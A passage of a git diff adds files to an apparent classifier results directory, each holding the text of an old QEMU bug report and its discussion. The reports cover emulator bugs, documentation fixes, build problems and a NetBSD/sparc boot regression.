fdctrl_transfer_handler (qemu-system-i386 + 0x3d3bfa) + #12 0x0000000000906c3d i8257_channel_run (qemu-system-i386 + 0x42ec3d) + #13 0x00000000008ac119 fdctrl_start_transfer (qemu-system-i386 + 0x3d4119) + #14 0x00000000008ab233 fdctrl_write_data (qemu-system-i386 + 0x3d3233) + #15 0x0000000000708ae7 memory_region_write_accessor (qemu-system-i386 + 0x230ae7) + #16 0x00000000007059e1 access_with_adjusted_size (qemu-system-i386 + 0x22d9e1) + #17 0x000000000070b931 memory_region_dispatch_write (qemu-system-i386 + 0x233931) + #18 0x00000000006a87a2 address_space_stb (qemu-system-i386 + 0x1d07a2) + #19 0x0000000000829216 helper_outb (qemu-system-i386 + 0x351216) + #20 0x00000000b06d9fdc n/a (n/a + 0x0) + +Steps: + +0. qemu-img create -f raw fda.img 3840K +1. mformat -i fda.img -n 48 -t 80 -h 2 +2. qemu-system-i386 -fda fda.img -hda freedos.qcow2 +3. Attempt to run 'dosfsck a:' in the guest + +According to hw/block/fdc.c, a 3840K image should result in a virtual floppy with a geometry of 48 sectors/track x 80 tracks x 2 sides. + +The assert seems bogus either way. + +Hi, +This issue should no longer occur in qemu.git/master. + +Commit ba607ca8bff4d2c2062902f8355657c865ac7c29 ("aio-posix: disable fdmon-io_uring when GSource is used") disabled fdmon-io_uring in this scenario. + +Confirming that I can no longer reproduce the bug with the latest master (ae3aa5da96f4ccf0c2a28851449d92db9fcfad71). I have not bisected the bug, though; at the moment I am not quite able to afford the time. + diff --git a/results/classifier/deepseek-1/output/other/1881729 b/results/classifier/deepseek-1/output/other/1881729 new file mode 100644 index 00000000..3d29efb7 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1881729 @@ -0,0 +1,36 @@ + +target_read_memory in disas.c ignores possible errors + +`target_read_memory` in `disas.c` ignores (possible) errors. This leads to disassembler possibly disassembling garbage. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1885718 b/results/classifier/deepseek-1/output/other/1885718 new file mode 100644 index 00000000..bfedc94e --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1885718 @@ -0,0 +1,68 @@ + +qemu/target/mips/op_helper.c:943:5: style:inconclusive: Found duplicate branches for 'if' and 'else' + +Source code is + + if (other_tc == other->current_tc) { + tccause = other->CP0_Cause; + } else { + tccause = other->CP0_Cause; + } + +Thank you for reporting this! + +Believe it or not, this has been a know issue to us for a while. We contacted the original contributor, and he says he can't recall what he actually meant when he wrote the segment. We left it as is until he remembers. However, this seems not likely to happen, and probably we will issue a fix soon. In any case, it is good that you reported it, many thanks! + +You already reported that 6 months ago: +https://bugs.launchpad.net/qemu/+bug/1856706 + +From: Aleksandar Markovic <email address hidden> + +Remove the segment: + + if (other_tc == other->current_tc) { + tccause = other->CP0_Cause; + } else { + tccause = other->CP0_Cause; + } + +Original contributor can't remember what was his intention. + +Fixes: 5a25ce9487 ("mips: Hook in more reg accesses via mttr/mftr") +Buglink: https://bugs.launchpad.net/qemu/+bug/1885718 +Signed-off-by: Aleksandar Markovic <email address hidden> +Message-Id: <email address hidden> +Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +--- +Cc: Bug 1885718 <email address hidden> + + target/mips/cp0_helper.c | 9 +-------- + 1 file changed, 1 insertion(+), 8 deletions(-) + +diff --git a/target/mips/cp0_helper.c b/target/mips/cp0_helper.c +index bbf12e4a97..de64add038 100644 +--- a/target/mips/cp0_helper.c ++++ b/target/mips/cp0_helper.c +@@ -375,16 +375,9 @@ target_ulong helper_mftc0_entryhi(CPUMIPSState *env) + target_ulong helper_mftc0_cause(CPUMIPSState *env) + { + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); +- int32_t tccause; + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + +- if (other_tc == other->current_tc) { +- tccause = other->CP0_Cause; +- } else { +- tccause = other->CP0_Cause; +- } +- +- return tccause; ++ return other->CP0_Cause; + } + + target_ulong helper_mftc0_status(CPUMIPSState *env) +-- +2.21.3 + + + diff --git a/results/classifier/deepseek-1/output/other/1886210 b/results/classifier/deepseek-1/output/other/1886210 new file mode 100644 index 00000000..a0bc8d12 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1886210 @@ -0,0 +1,26 @@ + +[Feature request] Illumnos VM image + +We already have handy VMs to build QEMU within: + +$ git grep -l basevm.BaseVM +tests/vm/centos +tests/vm/fedora +tests/vm/freebsd +tests/vm/netbsd +tests/vm/openbsd +tests/vm/ubuntu.i386 + +It would be useful to have a illumos VM to do build testing and avoid regressions. + +Suggested by Thomas Huth: +https://<email address hidden>/msg719202.html + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/258 + + diff --git a/results/classifier/deepseek-1/output/other/1886225 b/results/classifier/deepseek-1/output/other/1886225 new file mode 100644 index 00000000..0d531cee --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1886225 @@ -0,0 +1,22 @@ + +[Feature request] Oracle Solaris 11.4 VM image + +We already have handy VMs to build QEMU within: + +$ git grep -l basevm.BaseVM +tests/vm/centos +tests/vm/fedora +tests/vm/freebsd +tests/vm/netbsd +tests/vm/openbsd +tests/vm/ubuntu.i386 + +Some people have interest in building QEMU on Solaris: +https://lists.gnu.org/archive/html/qemu-devel/2020-07/msg01429.html + +To help them it would be useful to have a Solaris VM. + +Solaris is not open anymore, so I don't think that you can get a distributable VM so easily. + +I'm closing this since it's very unlikely that we get a Solaris VM image, since they are not available for free, as far as I know. Maybe somebody could contribute an illumos-based image one day, but that's nothing that we have to track in the bug tracker, I think. + diff --git a/results/classifier/deepseek-1/output/other/1895399 b/results/classifier/deepseek-1/output/other/1895399 new file mode 100644 index 00000000..d55effab --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1895399 @@ -0,0 +1,128 @@ + +Docfix: add missing virtiofsd cache default 'auto' + +The usage command line for virtiofsd has: + +void fuse_cmdline_help(void) +{ + printf(" -h --help print help\n" +... + " -o cache=<mode> cache mode. could be one of \"auto, " + "always, none\"\n" + " default: auto\n" + + +But the default: auto info is missing from the man page. I suggest this patch: + +--- docs/tools/virtiofsd.rst 2020-09-10 18:07:45.380430677 -0500 ++++ /tmp/virtiofsd.rst 2020-09-12 11:48:10.440815204 -0500 +@@ -106,6 +106,7 @@ + forbids the FUSE client from caching to achieve best coherency at the cost of + performance. ``auto`` acts similar to NFS with a 1 second metadata cache + timeout. ``always`` sets a long cache lifetime at the expense of coherency. ++ The default is ``auto``. + + Examples + -------- + +On Sat, Sep 12, 2020 at 04:53:54PM -0000, Harry Coin wrote: +> Public bug reported: +> +> The usage command line for virtiofsd has: +> +> void fuse_cmdline_help(void) +> { +> printf(" -h --help print help\n" +> ... +> " -o cache=<mode> cache mode. could be one of \"auto, " +> "always, none\"\n" +> " default: auto\n" +> +> +> But the default: auto info is missing from the man page. I suggest this patch: +> +> --- docs/tools/virtiofsd.rst 2020-09-10 18:07:45.380430677 -0500 +> +++ /tmp/virtiofsd.rst 2020-09-12 11:48:10.440815204 -0500 +> @@ -106,6 +106,7 @@ +> forbids the FUSE client from caching to achieve best coherency at the cost of +> performance. ``auto`` acts similar to NFS with a 1 second metadata cache +> timeout. ``always`` sets a long cache lifetime at the expense of coherency. +> + The default is ``auto``. +> +> Examples +> -------- +> + +Thanks, that looks good. + +Please either submit a patch +(https://wiki.qemu.org/Contribute/SubmitAPatch) or reply with a line in +the following format so I can send a patch on your behalf: + + Signed-off-by: Full Name <email address hidden> + +The "Signed-off-by:" tag indicates that you are contributing under the +Developer Certificate of Origin (https://developercertificate.org/) that +QEMU, Linux, and other open source projects use. + + +On 9/14/20 5:08 AM, Stefan Hajnoczi wrote: +> On Sat, Sep 12, 2020 at 04:53:54PM -0000, Harry Coin wrote: +>> Public bug reported: +>> +>> The usage command line for virtiofsd has: +>> +>> void fuse_cmdline_help(void) +>> { +>> printf(" -h --help print help\n" +>> ... +>> " -o cache=<mode> cache mode. could be one of \"auto, " +>> "always, none\"\n" +>> " default: auto\n" +>> +>> +>> But the default: auto info is missing from the man page. I suggest this patch: +>> +>> --- docs/tools/virtiofsd.rst 2020-09-10 18:07:45.380430677 -0500 +>> +++ /tmp/virtiofsd.rst 2020-09-12 11:48:10.440815204 -0500 +>> @@ -106,6 +106,7 @@ +>> forbids the FUSE client from caching to achieve best coherency at the cost of +>> performance. ``auto`` acts similar to NFS with a 1 second metadata cache +>> timeout. ``always`` sets a long cache lifetime at the expense of coherency. +>> + The default is ``auto``. +>> +>> Examples +>> -------- +>> +> Thanks, that looks good. +> +> Please either submit a patch +> (https://wiki.qemu.org/Contribute/SubmitAPatch) or reply with a line in +> the following format so I can send a patch on your behalf: +> +> Signed-off-by: Full Name <email address hidden> +> +> The "Signed-off-by:" tag indicates that you are contributing under the +> Developer Certificate of Origin (https://developercertificate.org/) that +> QEMU, Linux, and other open source projects use. +> +OK. First time for everything: + +Signed-off-by: Harry G. Coin <email address hidden> + + + + +On Mon, Sep 14, 2020 at 02:53:57PM -0000, Harry Coin wrote: +> OK. First time for everything: +> +> Signed-off-by: Harry G. Coin <email address hidden> + +Thank you. I posted your patch to the QEMU mailing list with your +authorship information: +https://<email address hidden>/ + + +Fix had been included here: +https://gitlab.com/qemu-project/qemu/-/commit/f1303afe222759105f + diff --git a/results/classifier/deepseek-1/output/other/1899728 b/results/classifier/deepseek-1/output/other/1899728 new file mode 100644 index 00000000..01853bfc --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1899728 @@ -0,0 +1,41 @@ + +Qemu-5.1.0 build from source man entry not found + +Hello together, + +i build qemu-5.1.0 from source on centos 8 withe the following command: + +../configure --prefix=/usr --target-list=x86_64-softmmu,x86_64-linux-user + +make -j4 + +make install + +The build and the installation finished successfully. But when i try the command + +man qemu-system-x86_64 + +i got the message "No manual entry found". What i do wrong ? + +Best regards +Damian + +You probably don't have the necessary dependencies to build the manual pages. Since 5.0 we have required Sphinx to be installed to build the docs (see https://wiki.qemu.org/ChangeLog/5.0#Build_Dependencies). + +Pass --enable-docs to configure if you want to force the docs to be built (and then configure will stop with an error if Sphinx or another required tool is missing); otherwise configure will default to "build docs if possible, skip if required tools are missing". + + +There is only one shared man-page for all qemu-system-xxx binaries ... have you tried to simply run "man qemu" ? + +Hello together, + +build with enable-docs and install the required packages now it works with man qemu. + +Many thanks for you help + +Problem resolved :-) + +Best regards +Damian + + diff --git a/results/classifier/deepseek-1/output/other/1910540 b/results/classifier/deepseek-1/output/other/1910540 new file mode 100644 index 00000000..c1ea8a0f --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1910540 @@ -0,0 +1,11 @@ + +where the trace file "trace-*" + +I compile qemu-system-aarch64 with --enable-trace-backends=simple option, then start qemu with -trace nvme* , qemu start successful but I cann't find the trace file "trace-*" at qemu started directory. + +I tested qemu.git/master on Linux x86_64 to confirm that the simple trace backend works. trace-$pid files are written to the current working directory. + +If QEMU prints a warning that the trace event name does not exist, try escaping the asterisk on your command-line: -trace nvme\* + +You can find the trace-event files in the source tree, if you were talking about those. Anyway, this does not really sound like a bug, so I'm closing this ticket now. If you need general help, please use the qemu-discuss mailing list or the #qemu channel on OFTC IRC instead. + diff --git a/results/classifier/deepseek-1/output/other/1916506 b/results/classifier/deepseek-1/output/other/1916506 new file mode 100644 index 00000000..969b3666 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1916506 @@ -0,0 +1,50 @@ + +make check-venv may leave stale and incomplete tests/venv directory directory + +As reported by "Philippe Mathieu-Daudé" <email address hidden>, a "make check-venv" can be run and fail to properly create a suitable virtual environment, leaving the tests/venv directory which is the target for "make check-venv" itself. + +This means that on a subsequent run: + +> $ make check-venv +> GIT ui/keycodemapdb tests/fp/berkeley-testfloat-3 +> tests/fp/berkeley-softfloat-3 dtc capstone slirp +> make: Nothing to be done for 'check-venv'. + +And the venv will still be incomplete. The causes of such failures to create a suitable virtual environment are too many (in the reported case it was because of missing *required* Python packages). Some more evolved virtual environments + Python packaging systems exist that could probably be used here (Pipenv) but would add further core requirements. + +The current mitigation is to run "make check-clean" when the venv appears to be incomplete. + +The goal of this bug is to attempt to make the venv setup atomic and more reliable. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1920767 b/results/classifier/deepseek-1/output/other/1920767 new file mode 100644 index 00000000..0031f3b7 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1920767 @@ -0,0 +1,17 @@ + +build-tools-and-docs-debian job waste cycles building pointless things + +The build-tools-and-docs-debian job waste CI cycles building softfloat: +https://gitlab.com/qemu-project/qemu/-/jobs/1117005759 + +Possible fix suggested on the list: +https://<email address hidden>/msg793872.html + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/229 + + diff --git a/results/classifier/deepseek-1/output/other/567380 b/results/classifier/deepseek-1/output/other/567380 new file mode 100644 index 00000000..2f4bbb83 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/567380 @@ -0,0 +1,23 @@ + +qemu-img fails to create images >= 4G + +On a Windows XP system and an NTFS drive, using QEMU on Windows Ver 0.12.2 from http://homepage3.nifty.com/takeda-toshiya/qemu/ or QEMU 0.12.3 or d3538b45ea88e82d1b01959b4ca55d3696b71cb2 built locally, when I run the following command, a zero-length file is created. + + qemu-img create foo.img 4G + +Confirmed under Win 7 64-bit. +Also does same thing on v10.6, v11.1, v12.1 + +what a zero-length file means? Run the following command to see +qemu-img info foo.img + +The file size was zero bytes (i.e., it contained no data). + +I've tried again with QEMU 2.6.50 on a Windows 7 Professional system and it appears to have created the s + +Sorry, I accidentally submitted comment #3 without finishing it. + +I was going to say that when I tried QEMU 2.6.50 on a Windows 7 Professional system, it appears to have created the image file successfully. + +Thanks for the update ... since it is working with the current version of QEMU, I assume this problem has been fixed sometimes during the past years, thus we can close this ticket now. + diff --git a/results/classifier/deepseek-1/output/other/568053 b/results/classifier/deepseek-1/output/other/568053 new file mode 100644 index 00000000..67a2c4dc --- /dev/null +++ b/results/classifier/deepseek-1/output/other/568053 @@ -0,0 +1,12 @@ + +requires MSYS coreutils ext sub-package to build on Windows + +When I try to build QEMU on Windows without the MSYS coreutils ext sub-package installed, the build fails because it cannot find dd. + + + +pc-bios/optionrom/signrom.sh uses 'dd'. + +signrom.sh has been removed/rewritten by this commit: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=0d6b9cc7420dd2d531b48508f0d4 + diff --git a/results/classifier/deepseek-1/output/other/589827 b/results/classifier/deepseek-1/output/other/589827 new file mode 100644 index 00000000..2c4068d2 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/589827 @@ -0,0 +1,23 @@ + +QEMU netdev tap type id name is not used on linux host + +Tested with 0.12.3, 0.12.4, and latest git as of 4 jun 2010. +The new -netdev type seems to ignore manual specifications of tap ifname. + + qemu-system-x86_64 -hda disk.img -netdev tap,id=ids_e0 -device e1000,netdev=ids_e0 + **creates tap0 instead of ids_e0. tap0 passes traffic, ids_e0 doesn't exist +(I tried -netdev type=tap as well for brevity) + +QEMU creates a tap0 (or appropriate) interface and does not name this "ids_e0" as would be expected. I also tried 'pre' creating the tap interface. + +Previous alterantive was + qemu-system-x86_64 -hda disk.img -net nic,model=e1000,vlan=99 -net tap,ifname=ids_e0,vlan=99 + **creates ids_e0 as expected, and passes traffic as expected. + +Thanks to IRC, the correct syntax is: -netdev tap,id=asa1_eth0_tap,ifname=asa1_eth0_tap -device e1000,netdev=asa1_eth0_tap,mac=00:aa:cd:dd:01:01 + +(noted, fd=h option doesn't work on -netdev) + + +The "id=..." is only the QEMU-internal name of the netdev, not the name of the tap device. So this is not a bug --> closing this ticket. + diff --git a/results/classifier/deepseek-1/output/output./1549654 b/results/classifier/deepseek-1/output/output./1549654 new file mode 100644 index 00000000..6ecbf0ef --- /dev/null +++ b/results/classifier/deepseek-1/output/output./1549654 @@ -0,0 +1,291 @@ + +qemu-system-arm emulator + +Hi, + +I don't know if this is a bug or a feature in new QEMU software. I was following an online tutorial using QEMU to develop a simple bare-metal program for qemu-system-arm. I decided to try a more recent software and I got surprised when I found the small code can not run on newer QEMU software (all newer than 2.0.0) but can run on the old QEMU from Ubuntu (Debian 2.0.0+dfsg-2ubuntu1.22) and the stock version from website. After putting the qemu-system-arm in single step and saving the log, the following is the output which you can see the 1st instruction stores R3 at [fp, #-8] and the second instruction can not restores the value from the same address to R0: + +0x00010074: e50b3008 str r3, [fp, #-8] + +R00=00000000 R01=00000000 R02=00000000 R03=0001008c +R04=00000000 R05=00000000 R06=00000000 R07=00000000 +R08=00000000 R09=00000000 R10=00000000 R11=00011094 +R12=00000000 R13=00011088 R14=00010008 R15=00010074 +PSR=400001d3 -Z-- A S svc32 +---------------- +IN: kmain +0x00010078: e51b0008 ldr r0, [fp, #-8] + +R00=00000000 R01=00000000 R02=00000000 R03=0001008c +R04=00000000 R05=00000000 R06=00000000 R07=00000000 +R08=00000000 R09=00000000 R10=00000000 R11=00011094 +R12=00000000 R13=00011088 R14=00010008 R15=00010078 +PSR=400001d3 -Z-- A S svc32 +---------------- +IN: kmain +0x0001007c: ebffffe3 bl 0x10010 + +R00=00000000 R01=00000000 R02=00000000 R03=0001008c +R04=00000000 R05=00000000 R06=00000000 R07=00000000 +R08=00000000 R09=00000000 R10=00000000 R11=00011094 +R12=00000000 R13=00011088 R14=00010008 R15=0001007c +PSR=400001d3 -Z-- A S svc32 + +-------------------------------------- +Meanwhile the older version of QEMU 2.0.0 does this very well and can execute the program normally: + +0x00010074: e50b3008 str r3, [fp, #-8] + +R00=00000000 R01=00000000 R02=00000000 R03=0001008c +R04=00000000 R05=00000000 R06=00000000 R07=00000000 +R08=00000000 R09=00000000 R10=00000000 R11=00011094 +R12=00000000 R13=00011088 R14=00010008 R15=00010074 +PSR=400001d3 -Z-- A svc32 +---------------- +IN: kmain +0x00010078: e51b0008 ldr r0, [fp, #-8] + +R00=00000000 R01=00000000 R02=00000000 R03=0001008c +R04=00000000 R05=00000000 R06=00000000 R07=00000000 +R08=00000000 R09=00000000 R10=00000000 R11=00011094 +R12=00000000 R13=00011088 R14=00010008 R15=00010078 +PSR=400001d3 -Z-- A svc32 +---------------- +IN: kmain +0x0001007c: ebffffe3 bl 0x10010 + +R00=0001008c R01=00000000 R02=00000000 R03=0001008c +R04=00000000 R05=00000000 R06=00000000 R07=00000000 +R08=00000000 R09=00000000 R10=00000000 R11=00011094 +R12=00000000 R13=00011088 R14=00010008 R15=0001007c +PSR=400001d3 -Z-- A svc32 +---------------- + +The command line to use was: + +qemu-system-arm -M vexpress-a9 -cpu cortex-a9 -smp 1 -m 64M -nographic -kernel kernel.elf -singlestep -D file.log -d in_asm,cpu + +The kernel.elf is a simple program (elf) file, created from two sources: + +boot.S: + +.global _RESET +_RESET: +LDR sp, =_STACK +BL kmain +B . + +And kernel.c: + +# define UART0_MEM 0x10009000 + +volatile unsigned int * const UART0 = (unsigned int *) UART0_MEM; +void dprint(const char* message){ + while(*message != 0) { + *UART0=*message; + ++message; + } +} +void kmain() { + const char *hi="Hello!"; + dprint(hi); +}; + +The linker scripts is: +ENTRY(_RESET) +SECTIONS +{ + . = 0x10000; + .boot . : { boot.o(.text) } + .text : { *(.text) } + .data : { *(.data) } + .bss : { *(.bss COMMON) } + . = ALIGN(8); + . = . + 0x1000; /* 4kB of stack memory */ + _STACK = .; +} + +This error cases the dprint function to find *message as 0 and do not print the output in newer QEMU software. + +Thank you for consideration. + +> the 1st instruction stores R3 at [fp, #-8] and the second instruction can not restores the value from the same address + +In bare metal code this usually means you're trying to store to an address which does not actually have any RAM in it. + +Here R13=00011088, and for the vexpress-a9 board that has a NOR flash device at it, not RAM. RAM starts at 0x60000000. If you link your program to use the RAM at the RAM address you should find it works better. + +(In earlier versions of QEMU we did have RAM at the 0 address. In real hardware the 0 address is a remappable range which may point to flash or to RAM depending on board configuration. For QEMU we don't model the reconfigurability, and we picked flash because this allows us to run various BIOS-style ROM images. It does unfortunately mean we broke a few odd bare metal images which were relying on the RAM being mapped in there.) + + +Dear Peter, + +You are right, I changed the address to 0x60010000 and now it works. The +program was writing out of SRAM and it was working on older QEMU versions +but not the new ones. + +Thank you for your help! + +Best regards, +Mahdi + +On Thu, Feb 25, 2016 at 3:01 PM Peter Maydell <email address hidden> +wrote: + +> > the 1st instruction stores R3 at [fp, #-8] and the second instruction +> can not restores the value from the same address +> +> In bare metal code this usually means you're trying to store to an +> address which does not actually have any RAM in it. +> +> Here R13=00011088, and for the vexpress-a9 board that has a NOR flash +> device at it, not RAM. RAM starts at 0x60000000. If you link your +> program to use the RAM at the RAM address you should find it works +> better. +> +> (In earlier versions of QEMU we did have RAM at the 0 address. In real +> hardware the 0 address is a remappable range which may point to flash or +> to RAM depending on board configuration. For QEMU we don't model the +> reconfigurability, and we picked flash because this allows us to run +> various BIOS-style ROM images. It does unfortunately mean we broke a few +> odd bare metal images which were relying on the RAM being mapped in +> there.) +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1549654 +> +> Title: +> qemu-system-arm emulator +> +> Status in QEMU: +> New +> +> Bug description: +> Hi, +> +> I don't know if this is a bug or a feature in new QEMU software. I was +> following an online tutorial using QEMU to develop a simple bare- +> metal program for qemu-system-arm. I decided to try a more recent +> software and I got surprised when I found the small code can not run +> on newer QEMU software (all newer than 2.0.0) but can run on the old +> QEMU from Ubuntu (Debian 2.0.0+dfsg-2ubuntu1.22) and the stock version +> from website. After putting the qemu-system-arm in single step and +> saving the log, the following is the output which you can see the 1st +> instruction stores R3 at [fp, #-8] and the second instruction can not +> restores the value from the same address to R0: +> +> 0x00010074: e50b3008 str r3, [fp, #-8] +> +> R00=00000000 R01=00000000 R02=00000000 R03=0001008c +> R04=00000000 R05=00000000 R06=00000000 R07=00000000 +> R08=00000000 R09=00000000 R10=00000000 R11=00011094 +> R12=00000000 R13=00011088 R14=00010008 R15=00010074 +> PSR=400001d3 -Z-- A S svc32 +> ---------------- +> IN: kmain +> 0x00010078: e51b0008 ldr r0, [fp, #-8] +> +> R00=00000000 R01=00000000 R02=00000000 R03=0001008c +> R04=00000000 R05=00000000 R06=00000000 R07=00000000 +> R08=00000000 R09=00000000 R10=00000000 R11=00011094 +> R12=00000000 R13=00011088 R14=00010008 R15=00010078 +> PSR=400001d3 -Z-- A S svc32 +> ---------------- +> IN: kmain +> 0x0001007c: ebffffe3 bl 0x10010 +> +> R00=00000000 R01=00000000 R02=00000000 R03=0001008c +> R04=00000000 R05=00000000 R06=00000000 R07=00000000 +> R08=00000000 R09=00000000 R10=00000000 R11=00011094 +> R12=00000000 R13=00011088 R14=00010008 R15=0001007c +> PSR=400001d3 -Z-- A S svc32 +> +> -------------------------------------- +> Meanwhile the older version of QEMU 2.0.0 does this very well and can +> execute the program normally: +> +> 0x00010074: e50b3008 str r3, [fp, #-8] +> +> R00=00000000 R01=00000000 R02=00000000 R03=0001008c +> R04=00000000 R05=00000000 R06=00000000 R07=00000000 +> R08=00000000 R09=00000000 R10=00000000 R11=00011094 +> R12=00000000 R13=00011088 R14=00010008 R15=00010074 +> PSR=400001d3 -Z-- A svc32 +> ---------------- +> IN: kmain +> 0x00010078: e51b0008 ldr r0, [fp, #-8] +> +> R00=00000000 R01=00000000 R02=00000000 R03=0001008c +> R04=00000000 R05=00000000 R06=00000000 R07=00000000 +> R08=00000000 R09=00000000 R10=00000000 R11=00011094 +> R12=00000000 R13=00011088 R14=00010008 R15=00010078 +> PSR=400001d3 -Z-- A svc32 +> ---------------- +> IN: kmain +> 0x0001007c: ebffffe3 bl 0x10010 +> +> R00=0001008c R01=00000000 R02=00000000 R03=0001008c +> R04=00000000 R05=00000000 R06=00000000 R07=00000000 +> R08=00000000 R09=00000000 R10=00000000 R11=00011094 +> R12=00000000 R13=00011088 R14=00010008 R15=0001007c +> PSR=400001d3 -Z-- A svc32 +> ---------------- +> +> The command line to use was: +> +> qemu-system-arm -M vexpress-a9 -cpu cortex-a9 -smp 1 -m 64M -nographic +> -kernel kernel.elf -singlestep -D file.log -d in_asm,cpu +> +> The kernel.elf is a simple program (elf) file, created from two +> sources: +> +> boot.S: +> +> .global _RESET +> _RESET: +> LDR sp, =_STACK +> BL kmain +> B . +> +> And kernel.c: +> +> # define UART0_MEM 0x10009000 +> +> volatile unsigned int * const UART0 = (unsigned int *) UART0_MEM; +> void dprint(const char* message){ +> while(*message != 0) { +> *UART0=*message; +> ++message; +> } +> } +> void kmain() { +> const char *hi="Hello!"; +> dprint(hi); +> }; +> +> The linker scripts is: +> ENTRY(_RESET) +> SECTIONS +> { +> . = 0x10000; +> .boot . : { boot.o(.text) } +> .text : { *(.text) } +> .data : { *(.data) } +> .bss : { *(.bss COMMON) } +> . = ALIGN(8); +> . = . + 0x1000; /* 4kB of stack memory */ +> _STACK = .; +> } +> +> This error cases the dprint function to find *message as 0 and do not +> print the output in newer QEMU software. +> +> Thank you for consideration. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1549654/+subscriptions +> + + diff --git a/results/classifier/deepseek-1/output/panic./1892540 b/results/classifier/deepseek-1/output/panic./1892540 new file mode 100644 index 00000000..fa0f2c93 --- /dev/null +++ b/results/classifier/deepseek-1/output/panic./1892540 @@ -0,0 +1,1278 @@ + +qemu can no longer boot NetBSD/sparc + +Booting NetBSD/sparc in qemu no longer works. It broke between qemu version 5.0.0 and 5.1.0, and a bisection identified the following as the offending commit: + + [5d971f9e672507210e77d020d89e0e89165c8fc9] memory: Revert "memory: accept mismatching sizes in memory_region_access_valid" + +It's still broken as of 7fd51e68c34fcefdb4d6fd646ed3346f780f89f4. + +To reproduce, run + + wget http://ftp.netbsd.org/pub/NetBSD/NetBSD-9.0/images/NetBSD-9.0-sparc.iso + qemu-system-sparc -nographic -cdrom NetBSD-9.0-sparc.iso -boot d + +The expected behavior is that the guest boots to the prompt + + Installation medium to load the additional utilities from: + +The observed behavior is a panic: + + [ 1.0000050] system[0]: trap 0x29: pc=0xf0046b14 sfsr=0xb6 sfva=0x54000000 + [ 1.0000050] cpu0: data fault: pc=0xf0046b14 addr=0x54000000 sfsr=0xb6<PERR=0x0,LVL=0x0,AT=0x5,FT=0x5,FAV,OW> + [ 1.0000050] panic: kernel fault + [ 1.0000050] halted + +This happens because openbios accesses unassigned memory during the SBus scan: + +Probing SBus slot 0 offset 0 +invalid accepts: (null) addr 20000000 size: 1 +Probing SBus slot 1 offset 0 +invalid accepts: (null) addr 30000000 size: 1 +Probing SBus slot 2 offset 0 +invalid accepts: (null) addr 40000000 size: 1 +Probing SBus slot 3 offset 0 +Probing SBus slot 4 offset 0 +invalid accepts: (null) addr 60000000 size: 1 +Probing SBus slot 5 offset 0 + +Thread 4 "qemu-system-spa" hit Breakpoint 1, memory_region_access_valid (mr=0x555555df20c0 <io_mem_unassigned>, + addr=536870912, size=1, is_write=<optimized out>, attrs=...) + at .../softmmu/memory.c:1358 +1358 return false; + +(gdb) list + +1355 if (mr->ops->valid.accepts +1356 && !mr->ops->valid.accepts(mr->opaque, addr, size, is_write, attrs)) { +1357 fprintf(stderr, "invalid accepts: %s addr %"PRIx64 " size: %d\n", mr->name, addr, size); +1358 return false; +1359 } + +(gdb) p mr->ops->valid.accepts +$1 = (_Bool (*)(void *, hwaddr, unsigned int, _Bool, MemTxAttrs)) 0x555555736f10 <unassigned_mem_accepts> + +(gdb) list unassigned_mem_accepts +1271 +1272 static bool unassigned_mem_accepts(void *opaque, hwaddr addr, +1273 unsigned size, bool is_write, +1274 MemTxAttrs attrs) +1275 { +1276 return false; +1277 } + + + +The S24/TCX datasheet is listed as "Unable to locate" on [1]. + +However the NetBSD revision 1.32 of the driver introduced +64-bit accesses to the stippler and blitter [2]. It is safe +to assume these memory regions are 64-bit accessible. +QEMU 